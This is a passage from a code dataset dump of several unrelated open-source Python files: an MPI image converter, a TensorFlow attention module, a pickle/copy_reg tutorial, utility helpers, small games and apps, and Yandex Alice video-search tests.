generate_parallel_command(start_list, end_list, input_name, output_name, wb1, wb2, wb3, sfmt, dfmt, iresolutions, max_res, params, last_string)\r\n # Generate the string to merge all metadadata\r\n final_string = generate_final_command(input_name, output_name, wb1, wb2, wb3, sfmt, dfmt, iresolutions, max_res, params, last_string)\r\n\r\n # Return strings\r\n return (first_string, list_string, output_name, len_arr, final_string) # 2017-02-06. Giulio. @ADDED output_name\r\n\r\n\r\n\r\n###############################################################################\r\n# #\r\n# ------------------------ main (parallel) code ----------------------------- # \r\n# #\r\n###############################################################################\r\n\r\nif __name__ == '__main__':\r\n # Initialize env. variables\r\n comm = MPI.COMM_WORLD\r\n nprocs = comm.Get_size()\r\n myrank = comm.Get_rank()\r\n # Sincronizzation\r\n comm.Barrier()\r\n \r\n tmp = read_item(sys.argv, '--info', 'no_info')\r\n if tmp == 'no_info' :\r\n info = False\r\n else :\r\n info = True\r\n \r\n if myrank == 0:\r\n # timing\r\n t1 = time.time() \r\n print ('*'*80)\r\n print (str(datetime.datetime.utcnow()), \" -- Calculation started on \", nprocs, \"- 1 cores.\")\r\n print ('*'*80)\r\n # Sincronizzation\r\n comm.Barrier()\r\n if myrank == 0:\r\n if info :\r\n # get info and print them\r\n (first_string, list_string, output_name, len_arr, final_string) = create_commands(nprocs-1,True) # 2017-02-06. Giulio. @ADDED output_name\r\n else :\r\n # Generate strings of commands\r\n (first_string, list_string, output_name, len_arr, final_string) = create_commands(nprocs-1) # 2017-02-06. Giulio. @ADDED output_name\r\n\r\n # 2017-02-08. Giulio. @ADDED support for suspend/resume\r\n if save_status_prefix == '' :\r\n save_status_prefix = output_name + '/'\r\n rs_fname = save_status_prefix + resume_status_fname\r\n if not os.path.exists(rs_fname) :\r\n # Execute on proc. n. 0 the string to initialize parallel computation\r\n execution_string = prefix+first_string\r\n os.system(execution_string)\r\n print (execution_string) # 2016-12-10. Giulio.\r\n if suspend_resume_enabled :\r\n rs_file = open(rs_fname, 'wb')\r\n pickle.dump([],rs_file)\r\n rs_file.close()\r\n\t\t \r\n # Prepare data for parallel computation\r\n cmd_string = list_string\r\n npoints = len_arr\r\n # Start scoring the task list\r\n scores = score_function(npoints)\r\n # Sort tasks by score\r\n elaborations = sort_elaborations(scores)\r\n work_list = sort_work(cmd_string,elaborations)\r\n # Call the routine to dinstibute the work between cpus\r\n dispatcher(work_list,rs_fname) # 2017-02-06. Giulio. @ADDED parameter\r\n # Execute the command to merge the metadata\r\n execution_string = prefix+final_string\r\n os.system(execution_string)\r\n print (execution_string) # 2016-12-10. Giulio.\r\n else:\r\n if info :\r\n # do nothing\r\n dummy = 0\r\n else :\r\n\t # Start worker sub.\r\n worker()\r\n # End program\r\n comm.Barrier()\r\n \r\n if myrank == 0:\r\n t2 = time.time() \r\n print ('*'*80)\r\n print (str(datetime.datetime.utcnow()), \"-- Calculation ended after \", (t2-t1), \" seconds\")\r\n print ('*'*80) \r\n","repo_name":"abria/TeraStitcher","sub_path":"src/utils/pyscripts/paraconverter.py","file_name":"paraconverter.py","file_ext":"py","file_size_in_byte":45602,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"3"} +{"seq_id":"32326287475","text":"import tensorflow as tf\nimport utils\n\n\nclass Episode(object):\n\n def __init__(self, flags, facts, question_state):\n self.flags = flags\n self.facts = facts\n self.max_sentence_size = tf.shape(facts)[1]\n self.question_state = question_state\n\n # convert question from shape [BATCH_SIZE, CELL_SIZE] to [BATCH_SIZE, MAX_SENTENCE_SIZE, CELL_SIZE]\n self.question_tiled = tf.tile(tf.reshape(question_state, [-1, 1, self.flags.cell_size]),\n [1, self.max_sentence_size, 1])\n\n # initialize weights for attention\n self.w1 = utils.weight_variable([1, 4 * self.flags.cell_size, self.flags.hidden_size], \"episode_weight_1\")\n self.b1 = utils.bias_variable([1, 1, self.flags.hidden_size], \"episode_bias_1\")\n\n self.w2 = utils.weight_variable([1, self.flags.hidden_size, 1], \"episode_weight_2\")\n self.b2 = utils.bias_variable([1, 1, 1], \"episode_bias_2\")\n\n def new(self, memory, reuse):\n with tf.variable_scope(\"attention\", reuse=reuse):\n question_tiled = tf.tile(tf.reshape(self.question_state, [-1, 1, self.flags.cell_size]),\n [1, self.max_sentence_size, 1])\n\n # extend and tile memory to [BATCH_SIZE, MAX_SENTENCE_SIZE, CELL_SIZE] shape\n memory = tf.tile(tf.reshape(memory, [-1, 1, self.flags.cell_size]), [1, self.max_sentence_size, 1])\n\n # interactions between facts, memory and question as described in paper\n attending = tf.concat([self.facts * memory, self.facts * question_tiled,\n tf.abs(self.facts - memory), tf.abs(self.facts - question_tiled)], 2)\n\n # get current batch size\n batch = tf.shape(attending)[0]\n\n # first fully connected layer\n h1 = tf.matmul(attending, tf.tile(self.w1, [batch, 1, 1]))\n h1 = h1 + tf.tile(self.b1, [batch, self.max_sentence_size, 1])\n h1 = tf.nn.tanh(h1)\n\n # second and final fully connected layer\n h2 = tf.matmul(h1, tf.tile(self.w2, [batch, 1, 1]))\n h2 = h2 + tf.tile(self.b2, [batch, self.max_sentence_size, 1])\n\n # returns softmax so attention scores are from 0 to 1\n return tf.nn.softmax(h2, 1)\n","repo_name":"SirCipher/NaturalLanguageProcessing","sub_path":"Assignment/code/models/Episode.py","file_name":"Episode.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30115155890","text":"'''\ncopy_reg 模块\n\n可以使用 copy_reg 模块注册你自己的扩展类型. \n这样 pickle 和 copy 模块就会知道如何处理非标准类型.\n\n\n\nPython 2\t\t\t\t\t\t\t\t Python 3\n①\t\ntry:\n import cStringIO as StringIO\nexcept ImportError:\n import StringIO import io\n②\t\ntry:\n import cPickle as pickle\nexcept ImportError:\n import pickle import pickle\n③\timport __builtin__\t import builtins\n④\timport copy_reg\t import copyreg\n⑤\timport Queue\t import queue\n⑥\timport SocketServer\t import socketserver\n⑦\timport ConfigParser\t import configparser\n⑧\timport repr\t import reprlib\n⑨\timport commands\t import subprocess\n'''\nimport pickle\n\nCODE = '''print('good evening')'''\n\nexec(CODE)\nexec(pickle.loads(pickle.dumps(CODE)))\n\n\n\n\n\n\n\n\n# 使用 copy_reg 模块实现 code 对象的 pickle 操作\n# 可以注册一个 code 对象处理器来完成目标. \n# 处理器应包含两个部分: \n# 一个 pickler , 接受 code 对象并返回一个只包含简单数据类型的元组, 以及一个 unpickler , 作用相反, 接受这样的元组作为参数.\nimport copyreg\nimport pickle, marshal, types\n\n# register a pickle handler for code objects\n\ndef code_unpickler(data):\n\treturn marshal.loads(data)\n\ndef code_pickler(copy):\n\treturn code_unpickler,(marshal.dumps(code),)\n\ncopyreg.pickle(types.CodeType, code_pickler, code_unpickler)\n\n# try it out\nCODE = \"\"\"\nprint(\"suppose he's got a pointed stick\")\n\"\"\"\n# code = compile(CODE, \"\", \"exec\")\ncode = CODE\nexec(code)\nexec(pickle.loads(pickle.dumps(code)))\n'''\n如果你是在网络中传输 pickle 后的数据, 那么请确保自定义的 unpickler 在数据接收端也是可用的.\n'''\n\n\n\n\n\n\n# 使用 copy_reg 模块实现文件对象的 pickle 操作\n# 实现 pickle 一个打开的文件对象.\nimport copyreg\nimport pickle, types\nimport io\n\ndef file_unpickler(position, data):\n\tfile = io.StringIO(data)\n\tfile.seek(position)\n\treturn file\n\ndef file_pickler():\n\tposition = file.tell()\n\tfile.seek(0)\n\tdata = file.read()\n\tfile.seek(position)\n\treturn file_unpickler,(position, data)\n\n#copyreg.pickle(types.FileType, file_pickler, file_unpickler)\n\nfile = open(\"samples/sample.txt\", \"rb\")\nprint(file.read(120),)\nprint(\"\",)\nprint(pickle.loads(pickle.dumps(file)).read())\n\n\n\n\n\n","repo_name":"Jueee/PythonStandardLibrary","sub_path":"lib04.08-copy_reg.py","file_name":"lib04.08-copy_reg.py","file_ext":"py","file_size_in_byte":2428,"program_lang":"python","lang":"zh","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"71491708562","text":"import binascii\nimport decimal\nimport datetime\nimport random\nimport string\nimport urllib\nimport requests\nfrom urllib import parse, request\nimport json\nfrom sqlalchemy import false, true\n\n\ndef get_decimal(data, digits=4, decimal_type=\"down\"):\n if decimal_type.lower() == \"up\":\n round_type = decimal.ROUND_UP\n elif decimal_type.lower() == \"round\":\n round_type = decimal.ROUND_HALF_EVEN\n else:\n round_type = decimal.ROUND_DOWN\n\n if not data:\n data = \"0\"\n\n if not isinstance(data, str):\n data = str(data)\n\n decimal_template = \"0.\" + \"0\" * digits\n return decimal.Decimal(data).quantize(decimal.Decimal(decimal_template), round_type)\n\n\ndef decimal_two_up(n):\n # 保留两位小数向上取\n return get_decimal(n, 2, \"up\")\n\n\ndef decimal_two_down(n):\n # 保留两位小数向下取\n return get_decimal(n, 2, \"down\")\n\n\ndef decimal_two(n):\n # 保留两位小数四舍五入\n return get_decimal(n, 2, \"round\")\n\n\ndef generate_order_no(k=12):\n \"\"\"\n 生成订单号 20位时间 12位随机数字\n :return:\n \"\"\"\n return datetime.datetime.now().strftime('%Y%m%d%H%M%S%f') + \"\".join(random.choices(string.digits, k=k))\n\n\n# 必填校验+去空格\ndef check_empty(data):\n if data == None:\n return False\n data = data.replace(\" \", \"\")\n if data == \"\":\n return False\n return data\n\n\n# 去空格(适用于非必填字段)\ndef remove_space(data):\n if data == None:\n return \"\"\n data = data.replace(\" \", \"\")\n return data\n\n\ndef do_get(url, textmod={}):\n textmod = parse.urlencode(textmod)\n header_dict = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'}\n req = request.Request(url='%s%s%s' % (url, '?', textmod), headers=header_dict)\n res = request.urlopen(req)\n res = res.read()\n return json.loads(res.decode(encoding='utf-8'))\n\n\ndef do_post(url, params=None, headers=None):\n if not headers:\n headers = {\n \"Content-type\": \"application/x-www-form-urlencoded\",\n 'User-Agent': ('Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.3'\n '6 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36'\n ),\n }\n try:\n if params:\n postdata = urllib.parse.urlencode(params)\n else:\n postdata = params\n response = requests.post(url, postdata, headers=headers, timeout=3600)\n if response.status_code == 200:\n return response.json()\n else:\n return\n except Exception as e:\n raise ConnectionError(\"HTTP POST failed, detail is:%s\" % e)\n\n\ndef to_int(data):\n \"\"\"\n 强转字符串,如果是str,就转int\n :param data:\n :return:\n \"\"\"\n if isinstance(data, str):\n data = int(data)\n return data\n\n\ndef check_string_null(s):\n if s.strip() == '':\n return true\n\n return false\n\n\ndef get_str_from_list(data):\n ret = \"\"\n if isinstance(data, list):\n for item in data:\n ret += str(item) + \",\"\n return \"[\" + ret[:-1] + \"]\"\n return ret\n\n\ndef hexbytes_to_str(h):\n return binascii.hexlify(h).decode('utf-8')\n","repo_name":"BigJeffWang/blockchain-py","sub_path":"WalletCenter/utils/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33061566782","text":"#!/usr/bin/env python3\n\nimport time\nimport os\n# 移动方向列表\nDIRECTION = [[0, 1], [1, 0], [-1, 0], [0, -1]]\n\n\ndef getMap():\n # 迷宫创建\n m = [\n \"#####################\",\n \"# ## #S#\",\n \"# ### # ######## # #\",\n \"# # # # ## ## # #\",\n \"# ## # # ## ## ## # #\",\n \"# # # # ## # ## # #\",\n \"# ## # ## ## # #\",\n \"### ## # ########## #\",\n \"#E ## #\",\n \"#####################\"\n ]\n\n return [list(s) for s in m]\n\n\ndef showMap(mazeMap):\n \"\"\"\n 迷宫求解状态显示\n \"\"\"\n # 将光标移动到第一行第一列\n print(\"\\033[1;1H\", end='', flush=True)\n # 状态显示过程\n for row in mazeMap:\n for ch in row:\n if ch == '@':\n # 红色高亮字符\n print(\"\\033[31m\" + ch + \"\\033[0m\", end='', flush=True)\n else:\n print(ch, end='')\n print()\n\n\ndef getPos(mazeMap, ch):\n \"\"\"\n 返回特定字符所在的行列坐标\n \"\"\"\n for row, rowCh in enumerate(mazeMap):\n for col, char in enumerate(rowCh):\n if char == ch:\n return [row, col]\n\n\ndef init(mazeMap, startCh, stopCh):\n \"\"\"\n 返回开始与结束字符的行列坐标\n \"\"\"\n # 清屏\n print(\"\\033[2J\", end='', flush=True)\n\n return getPos(mazeMap, startCh), getPos(mazeMap, stopCh)\n\n\ndef maze(mazeMap, start, stop):\n \"\"\"\n 迷宫求解过程\n \"\"\"\n showMap(mazeMap)\n time.sleep(0.1)\n\n for direct in DIRECTION:\n # 循环四个方向求解迷宫\n new = [start[0] + direct[0], start[1] + direct[1]]\n if mazeMap[new[0]][new[1]] == ' ':\n # 更新迷宫状态\n mazeMap[new[0]][new[1]] = '@'\n # 显示最新迷宫状态\n maze(mazeMap, new, stop)\n elif new == stop:\n # 迷宫成功求解,退出程序\n os._exit(0)\n\n mazeMap[start[0]][start[1]] = ' '\n showMap(mazeMap)\n time.sleep(0.1)\n\n\ndef main():\n \"\"\"\n 主程序\n \"\"\"\n mazeMap = getMap()\n start, stop = init(mazeMap, 'S', 'E')\n maze(mazeMap, start, stop)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"leefongman/alg","sub_path":"maze.py","file_name":"maze.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8448201121","text":"# To-Do List App\r\n\r\ntasks = [] # Initialize an empty list to store tasks\r\n\r\ndef display_menu():\r\n print(\"___________________________________\")\r\n print(\"1. Add task\")\r\n print(\"2. View tasks\")\r\n print(\"3. Mark task as complete\")\r\n print(\"4. Remove task\")\r\n print(\"5. Edit task\")\r\n print(\"6. Exit\")\r\n\r\ndef add_task():\r\n task = input(\"Enter a new task: \")\r\n tasks.append(task)\r\n print(\"Task added successfully!\")\r\n print(\"___________________________________\")\r\n\r\ndef view_tasks():\r\n if not tasks:\r\n print(\"No tasks to display.\")\r\n else:\r\n print(\"List of tasks:\")\r\n for i, task in enumerate(tasks):\r\n print(f\"{i+1}. {task}\")\r\n print(\"___________________________________\")\r\n\r\ndef mark_task_complete():\r\n task = input(\"Enter the task to mark as complete: \")\r\n if task in tasks:\r\n tasks.remove(task)\r\n print(\"Task marked as complete.\")\r\n else:\r\n print(\"Task not found in list.\")\r\n print(\"___________________________________\") \r\n\r\ndef remove_task():\r\n task = input(\"Enter the task to remove: \")\r\n if task in tasks:\r\n tasks.remove(task)\r\n print(\"Task removed successfully.\")\r\n else:\r\n print(\"Task not found in list.\")\r\n print(\"___________________________________\") \r\n\r\ndef edit_task():\r\n task = input(\"Enter the task to edit: \")\r\n if task in tasks:\r\n index = tasks.index(task)\r\n new_task = input(\"Enter the new task: \")\r\n tasks[index] = new_task\r\n print(\"Task edited successfully.\")\r\n else:\r\n print(\"Task not found in list.\")\r\n print(\"___________________________________\") \r\n\r\n# Main program loop\r\nwhile True:\r\n display_menu()\r\n print(\"___________________________________\")\r\n choice = input(\"Enter your choice (1-6): \")\r\n print(\"___________________________________\")\r\n if choice == '1':\r\n add_task()\r\n elif choice == '2':\r\n view_tasks()\r\n elif choice == '3':\r\n mark_task_complete()\r\n elif choice == '4':\r\n remove_task()\r\n elif choice == '5':\r\n edit_task()\r\n elif choice == '6':\r\n print(\"Exiting program...\")\r\n break\r\n else:\r\n print(\"Invalid choice. Please try again.\")\r\n","repo_name":"adnan098raza/ADNAN_Training_assisgnments","sub_path":"phyton/asign1/tdl.py","file_name":"tdl.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42811560549","text":"from typing import List\n\n\nclass Solution:\n def maxScore(self, s: str) -> int:\n l, r = s[0], s[1:]\n zero = 1 if l == '0' else 0\n one = 0\n for i in range(len(r)):\n if r[i] == '1':\n one += 1\n res = zero + one\n for i in range(len(r)-1):\n if r[i] == '0':\n zero += 1\n else:\n one -= 1\n res = max(res, zero+one)\n return res\n\n\nif __name__ == \"__main__\":\n s = Solution()\n result = s.maxScore(\"00\")\n print(result)\n","repo_name":"kenwoov/PlayLeetCode","sub_path":"Algorithms/Easy/1422. Maximum Score After Splitting a String/answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29036038187","text":"import alice.library.restriction_level.protos.content_settings_pb2 as content_settings_pb2\nimport alice.tests.library.auth as auth\nimport alice.tests.library.directives as directives\nimport alice.tests.library.intent as intent\nimport alice.tests.library.scenario as scenario\nimport alice.tests.library.surface as surface\nimport json\nimport pytest\n\n\n@pytest.mark.oauth(auth.Yandex)\n@pytest.mark.parametrize('surface', [surface.station])\nclass _TestVideo(object):\n owners = ('akormushkin',)\n\n\nclass TestSearchInternetVideo(_TestVideo):\n \"\"\"\n https://testpalm.yandex-team.ru/testcase/alice-503\n \"\"\"\n\n commands = [\n 'Найди ролики в интернете',\n 'Покажи ролики в сети',\n 'Покажи видео про котиков',\n 'Включи грустные видео про собак',\n 'Найди смешные видео',\n pytest.param(\n 'Найди +100500 на ютубе',\n marks=pytest.mark.xfail(reason='known issue, see VIDEOFUNC-750')\n ),\n 'Включи This is хорошо на ютуб',\n 'Найди фильм форрест гамп на youtube',\n 'Покажи санта барбару',\n 'Включи сериал скорая помощь'\n ]\n\n @pytest.mark.experiments('video_disable_webview_searchscreen')\n @pytest.mark.parametrize('command', commands)\n def test_native(self, alice, command):\n response = alice(command)\n assert response.scenario == scenario.Video\n assert response.directive.name == directives.names.ShowGalleryDirective\n\n @pytest.mark.parametrize('command', commands)\n def test_video_webview(self, alice, command):\n response = alice(command)\n assert response.scenario == scenario.Video\n assert response.directive.name == directives.names.MordoviaShowDirective\n assert 'videoSearch' in response.directive.payload.url\n\n\nclass _TestSearchKinopoiskContent(_TestVideo):\n \"\"\"\n https://testpalm2.yandex-team.ru/testcase/alice-665\n \"\"\"\n\n def _run_test(self, alice, command):\n assert False, 'overload method _run_test'\n\n @pytest.mark.parametrize('command', [\n 'Найди фильм про Терминатора',\n 'Покажи кино Назад в будущее',\n pytest.param(\n 'Найди фильм Воины',\n marks=pytest.mark.xfail(reason='Поиск отдаёт только один фильм с похожим названием на КП (\"Воин\")')\n ),\n 'Найди фильм Звёздные Войны'\n ])\n def test_alice_373(self, alice, command):\n self._run_test(alice, command)\n\n @pytest.mark.parametrize('command', [\n 'Найди комедии',\n 'Покажи фильмы с Джонни Деппом',\n 'Хочу фильмы 2010 года',\n 'Найди фильмы с Морганом Фрименом',\n 'Найди фильм про Гарри Поттера',\n 'Включи комедии',\n ])\n def test_alice_664(self, alice, command):\n self._run_test(alice, command)\n\n @pytest.mark.parametrize('command', [\n 'Найди смешные сериалы',\n 'Найди сериалы 2014 года',\n 'Найди сериалы с Натали Дормер',\n 'Покажи сериалы с Сарой Джессикой Паркер'\n ])\n def test_alice_665(self, alice, command):\n self._run_test(alice, command)\n\n @pytest.mark.parametrize('command', ['Включи сериал доктор'])\n @pytest.mark.xfail(reason='Поиск отдаёт только один сериал с похожим названием на КП (\"Хороший доктор\")')\n def test_alice_646(self, alice, command):\n self._run_test(alice, command)\n\n\n@pytest.mark.experiments(\n 'video_disable_webview_searchscreen',\n 'video_disable_films_webview_searchscreen',\n 'video_disable_webview_use_ontoids',\n)\nclass TestSearchKinopoiskContentNative(_TestSearchKinopoiskContent):\n def _run_test(self, alice, command):\n response = alice(command)\n assert response.directive.name == directives.names.ShowGalleryDirective\n assert response.directive.payload.items[0].provider_name == 'kinopoisk'\n\n\nclass TestSearchKinopoiskContentWebview(_TestSearchKinopoiskContent):\n def _run_test(self, alice, command):\n response = alice(command)\n assert response.directive.name == directives.names.MordoviaShowDirective\n assert 'filmsSearch' in response.directive.payload.url\n\n\nclass _TestItemSelection(_TestVideo):\n play_commands = ['Включи номер 3', 'Запусти второй']\n description_commands = ['Первый', 'Покажи описание номер 2']\n\n\n@pytest.mark.experiments('video_disable_webview_searchscreen')\nclass TestVideoItemSelectionNative(_TestItemSelection):\n\n @pytest.mark.parametrize('command', _TestItemSelection.play_commands + _TestItemSelection.description_commands)\n def test_select_video_by_number(self, alice, command):\n alice('найди видео с котиками')\n response = alice(command)\n assert response.directive.name == directives.names.VideoPlayDirective\n\n @pytest.mark.parametrize('command', [\n 'Включи номер 1000',\n pytest.param(\n 'Удали будильник номер 2',\n marks=pytest.mark.xfail(reason='Will improve item selection quality in VAD-135 (see subtickets)')\n )\n ])\n def test_do_not_select_video(self, alice, command):\n alice('найди видео с котиками')\n response = alice(command)\n if response.directive:\n assert response.directive.name != directives.names.VideoPlayDirective\n\n\nclass TestTvShowSearch(_TestVideo):\n \"\"\"\n https://testpalm.yandex-team.ru/testcase/alice-383\n \"\"\"\n\n @pytest.mark.parametrize('command', [\n 'Найди сериал Крайний космос',\n 'Найди Доктор Хаус',\n 'Найди сериал Остаться в живых',\n 'Найди Настоящий детектив',\n ])\n @pytest.mark.experiments('video_disable_webview_video_entity')\n def test_alice_383(self, alice, command):\n response = alice(command)\n assert response.directive.name == directives.names.ShowVideoDescriptionDirective\n assert response.directive.payload.item.provider_name == 'kinopoisk'\n\n\nclass TestTvShowSeasons(_TestVideo):\n \"\"\"\n https://testpalm.yandex-team.ru/testcase/alice-393\n \"\"\"\n\n @pytest.mark.parametrize('command', [\n ('рик и морти 3 сезон', 'Рик и Морти', 3),\n ('Мир дикого запада новый сезон', 'Мир Дикого Запада', 4),\n ('Найди 5 сезон барбоскины', 'Барбоскины', 5),\n ('Список серий третьего сезона Настоящий детектив', 'Настоящий детектив', 3),\n ('Покажи все сезоны сериала Однажды в сказке', 'Однажды в сказке', 1),\n ])\n @pytest.mark.experiments('video_disable_webview_video_entity_seasons')\n def test_alice_393_show_season_gallery(self, alice, command):\n request, name, season = command\n response = alice(request)\n assert response.directive.name == directives.names.ShowSeasonGalleryDirective\n assert response.directive.payload.tv_show_item.provider_name == 'kinopoisk'\n assert response.directive.payload.tv_show_item.name == name\n assert response.directive.payload.season == season\n\n def test_alice_393_no_such_season(self, alice):\n response = alice('Покажи девятый сезон болотная тварь')\n assert response.text in ['Сезона с таким номером нет.', 'Такого сезона нет.']\n assert response.directive.name == directives.names.MordoviaShowDirective\n assert 'videoEntity' in response.directive.payload.url\n\n @pytest.mark.oauth(auth.YandexPlus)\n def test_alice_393_play(self, alice):\n response = alice('Включи 2 сезон доктора кто')\n assert response.directive.name == directives.names.VideoPlayDirective\n assert response.directive.payload.item.provider_name == 'kinopoisk'\n assert response.directive.payload.tv_show_item.name == 'Доктор Кто'\n\n\nclass TestMoviePlay(_TestVideo):\n \"\"\"\n https://testpalm.yandex-team.ru/testcase/alice-407\n \"\"\"\n\n def _check_native_gallery(self, response):\n assert response.directive.name == directives.names.ShowGalleryDirective\n assert response.directive.payload.items[0].provider_name == 'kinopoisk'\n assert response.directive.payload.items[0].name.startswith('Люди в черном')\n\n def _check_webview_gallery(self, alice, response):\n assert response.directive.name == directives.names.MordoviaShowDirective\n assert 'filmsSearch' in response.directive.payload.url\n assert alice.device_state.Video.ViewState['sections'][0]['items'][0]['title'].startswith('Люди в чёрном')\n\n @pytest.mark.oauth(auth.YandexPlus)\n @pytest.mark.experiments(\n 'video_disable_films_webview_searchscreen',\n 'video_disable_webview_use_ontoids',\n 'video_disable_webview_video_entity',\n )\n def test_alice_407(self, alice):\n response = alice('найди люди в черном')\n self._check_native_gallery(response)\n\n response = alice('включи номер 2')\n assert response.directive.name == directives.names.VideoPlayDirective\n assert response.directive.payload.item.name.startswith('Люди в черном')\n\n # FIXME: Should actually be 'назад' but it is not implemented yet.\n # response = alice('назад')\n response = alice('найди люди в черном')\n self._check_native_gallery(response)\n response = alice('включи люди в черном три')\n assert response.directive.name == directives.names.VideoPlayDirective\n assert response.directive.payload.item.name == 'Люди в черном 3'\n\n # FIXME: Should actually be 'назад' but it is not implemented yet.\n # response = alice('назад')\n response = alice('найди люди в черном')\n self._check_native_gallery(response)\n response = alice('первый')\n assert response.directive.name == directives.names.ShowVideoDescriptionDirective\n assert response.directive.payload.item.name.startswith('Люди в черном')\n\n @pytest.mark.oauth(auth.YandexPlus)\n def test_alice_407_webview(self, alice):\n response = alice('найди люди в черном')\n self._check_webview_gallery(alice, response)\n\n response = alice('включи номер 2')\n assert response.directive.name == directives.names.VideoPlayDirective\n assert response.directive.payload.item.name.startswith('Люди в черном')\n\n # FIXME: Should actually be 'назад' but it is not implemented yet.\n # response = alice('назад')\n response = alice('найди люди в черном')\n self._check_webview_gallery(alice, response)\n response = alice('включи люди в черном три')\n assert response.directive.name == directives.names.VideoPlayDirective\n assert response.directive.payload.item.name == 'Люди в черном 3'\n\n # FIXME: Should actually be 'назад' but it is not implemented yet.\n # response = alice('назад')\n response = alice('найди люди в черном')\n self._check_webview_gallery(alice, response)\n response = alice('первый')\n assert response.directive.name == directives.names.MordoviaCommandDirective\n assert 'videoEntity' in json.loads(response.directive.payload.meta)['path']\n # TODO(akormushkin) check item name here after VIDEOFUNC-885\n\n\nclass TestPaidMovieDescription(_TestVideo):\n \"\"\"\n https://testpalm.yandex-team.ru/testcase/alice-408\n \"\"\"\n\n @pytest.mark.oauth(auth.Yandex)\n @pytest.mark.experiments(\n 'video_disable_films_webview_searchscreen',\n 'video_disable_webview_use_ontoids',\n 'video_disable_webview_video_entity',\n )\n def test_alice_408(self, alice):\n response = alice('найди фильмы про бэтмена')\n assert response.directive.name == directives.names.ShowGalleryDirective\n assert response.directive.payload.items[0].provider_name == 'kinopoisk'\n\n response = alice('Включи номер 1')\n assert response.directive.name == directives.names.ShowVideoDescriptionDirective\n\n # see https://a.yandex-team.ru/arc/trunk/arcadia/alice/hollywood/library/common_nlg/video__common_ru.nlg#L175\n assert response.text.startswith((\n 'Этот контент платный,',\n 'Это платный контент,',\n ))\n assert response.text.endswith((\n 'могу только открыть описание.',\n 'сейчас открою описание.',\n 'открываю описание.',\n ))\n # FIXME: There should be 'назад' command but it is not implemented yet.\n\n\nclass TestTvShowEpisodeNavigation(_TestVideo):\n \"\"\"\n https://testpalm.yandex-team.ru/testcase/alice-409\n \"\"\"\n\n @pytest.mark.voice\n @pytest.mark.oauth(auth.YandexPlus)\n @pytest.mark.experiments('video_disable_webview_video_entity_seasons')\n def test_alice_409(self, alice):\n response = alice('второй сезон доктор хаус')\n assert response.directive.name == directives.names.ShowSeasonGalleryDirective\n assert response.directive.payload.items[0].provider_name == 'kinopoisk'\n assert response.directive.payload.season == 2\n assert response.directive.payload.tv_show_item.name == 'Доктор Хаус'\n\n response = alice('включи первую серию')\n assert response.directive.name == directives.names.VideoPlayDirective\n assert response.directive.payload.item.season == 2\n assert response.directive.payload.item.episode == 1\n assert response.directive.payload.item.name.endswith('Смирение')\n\n response = alice('Следующая серия')\n assert response.directive.name == directives.names.VideoPlayDirective\n assert response.directive.payload.item.season == 2\n assert response.directive.payload.item.episode == 2\n assert response.directive.payload.item.name.endswith('Аутопсия')\n\n response = alice('Давай последнюю серию')\n assert response.directive.name == directives.names.VideoPlayDirective\n assert response.directive.payload.item.season == 2\n assert response.directive.payload.item.episode == 24\n assert response.directive.payload.item.name.endswith('Без причины')\n\n response = alice('Давай первую серию')\n assert response.directive.name == directives.names.VideoPlayDirective\n assert response.directive.payload.item.season == 2\n assert response.directive.payload.item.episode == 1\n assert response.directive.payload.item.name.endswith('Смирение')\n\n response = alice('Включи первую серию сериала доктор хаус')\n assert response.directive.name == directives.names.VideoPlayDirective\n assert response.directive.payload.item.season == 1\n assert response.directive.payload.item.episode == 1\n assert response.directive.payload.item.name.endswith('Пилотная серия')\n\n response = alice('Предыдущая серия')\n assert response.directive.name == directives.names.ShowSeasonGalleryDirective\n assert response.directive.payload.items[0].provider_name == 'kinopoisk'\n assert response.directive.payload.season == 1\n assert response.directive.payload.tv_show_item.name == 'Доктор Хаус'\n assert response.text == 'Для этого видео нет предыдущего'\n\n response = alice('Включи последнюю серию сериала доктор хаус')\n assert response.directive.name == directives.names.VideoPlayDirective\n assert response.directive.payload.item.season == 8\n assert response.directive.payload.item.episode == 22\n assert response.directive.payload.item.name.endswith('Все умирают')\n\n response = alice('Следующая серия')\n assert response.directive.name == directives.names.ShowSeasonGalleryDirective\n assert response.directive.payload.season == 8\n assert response.directive.payload.tv_show_item.name == 'Докт��р Хаус'\n assert response.text == 'Для этого видео нет следующего'\n\n\n@pytest.mark.experiments(\n 'video_disable_webview_searchscreen',\n 'video_disable_doc2doc',\n)\nclass TestVideoNavigation(_TestVideo):\n \"\"\"\n https://testpalm.yandex-team.ru/testcase/alice-410\n \"\"\"\n\n @pytest.mark.voice\n @pytest.mark.oauth(auth.YandexPlus)\n def test_alice_410(self, alice):\n response = alice('найди видео с енотиками')\n assert response.directive.name == directives.names.ShowGalleryDirective\n\n all_items = alice.device_state.Video.ScreenState.RawItems\n\n response = alice('включи номер 1')\n assert response.directive.name == directives.names.VideoPlayDirective\n assert response.directive.payload.item['provider_item_id'] == all_items[0].ProviderItemId\n\n response = alice('следующее видео')\n assert response.directive.name == directives.names.VideoPlayDirective\n assert response.directive.payload.item['provider_item_id'] == all_items[1].ProviderItemId\n\n response = alice('предыдущее видео')\n assert response.directive.name == directives.names.VideoPlayDirective\n assert response.directive.payload.item['provider_item_id'] == all_items[0].ProviderItemId\n\n response = alice('Давай следующий ролик')\n assert response.directive.name == directives.names.VideoPlayDirective\n assert response.directive.payload.item['provider_item_id'] == all_items[1].ProviderItemId\n\n response = alice('Вернись к предыдущему ролику')\n assert 